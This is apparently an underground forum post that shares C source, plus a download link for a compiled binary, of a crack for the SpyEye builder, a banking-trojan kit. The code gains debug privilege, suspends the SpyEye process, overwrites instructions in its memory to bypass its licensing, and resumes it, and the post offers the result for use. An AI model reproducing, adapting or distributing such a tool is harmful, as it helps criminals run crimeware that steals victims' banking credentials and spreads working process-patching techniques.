Quote:

the crack is included and compiled, and here is the source code :

Code:

#include <Windows.h>
#include <tlhelp32.h>

typedef LONG ( NTAPI *_NtSuspendProcess )( IN HANDLE ProcessHandle );
typedef LONG ( NTAPI *_NtResumeProcess )( IN HANDLE ProcessHandle );

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

TOKEN_PRIVILEGES priv;
HANDLE hThis, hToken;
LUID luid;
hThis = GetCurrentProcess();
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(0, "seDebugPrivilege", &luid);
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0);
CloseHandle(hToken);
CloseHandle(hThis);

HANDLE ProcessHandle = 0;
_NtSuspendProcess NtSuspendProcess = 0;
_NtResumeProcess NtResumeProcess = 0;
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
CHAR processName[] = "SpyEye.exe";
DWORD PID = 0 ;


DWORD Patch1 = 0x4010CE;
DWORD Patch2 = 0x4010D3;
DWORD Patch3 = 0x4010D5;
DWORD Patch4 = 0x4010D6;

UCHAR PatchVal1[] = "\xB8\x12\x11\x40\x00";
UCHAR PatchVal2[] = "\xFF\xD0";
UCHAR PatchVal3[] = "\x90";
UCHAR PatchVal4[] = "\x90";


NtSuspendProcess = (_NtSuspendProcess)GetProcAddress( GetModuleHandle( "ntdll" ), "NtSuspendProcess" );
NtResumeProcess = (_NtResumeProcess)GetProcAddress( GetModuleHandle( "ntdll" ), "NtResumeProcess" );


if ( processesSnapshot == INVALID_HANDLE_VALUE ){
return 0;
}
Process32First(processesSnapshot, &processInfo);

while ( Process32Next(processesSnapshot, &processInfo)){
if ( !strcmp(processName,processInfo.szExeFile)){
CloseHandle(processesSnapshot);
PID = processInfo.th32ProcessID;
break;
}
}
if(PID != NULL){
//MessageBoxA(NULL,(LPCSTR)PID,"SpyEye.exe - PID",0);    
ProcessHandle = OpenProcess( PROCESS_ALL_ACCESS, FALSE, PID);
}
if ( ProcessHandle != NULL ){
NtSuspendProcess( ProcessHandle );

WriteProcessMemory(ProcessHandle, (LPVOID)Patch1, &PatchVal1, sizeof(PatchVal1)-1, NULL);
WriteProcessMemory(ProcessHandle, (LPVOID)Patch2, &PatchVal2, sizeof(PatchVal2)-1, NULL);
WriteProcessMemory(ProcessHandle, (LPVOID)Patch3, &PatchVal3, sizeof(PatchVal3)-1, NULL);
WriteProcessMemory(ProcessHandle, (LPVOID)Patch4, &PatchVal4, sizeof(PatchVal4)-1, NULL);
/*
004010CE B8 12114000 MOV EAX,SpyEye_1.00401112
004010D3 FFD0 CALL EAX
004010D5 90 NOP
004010D6 90 NOP
*/
MessageBoxA(NULL,"SpyEye should have been patched now.\nJust press OK and enjoy","SpyEye-Patch by Zer0Flag",0);

NtResumeProcess( ProcessHandle );
CloseHandle(ProcessHandle);
}
return 0;
}

Download :
http://www.mediafire.com/?hyfz3cjnutiq1ux

enjoy and say thanks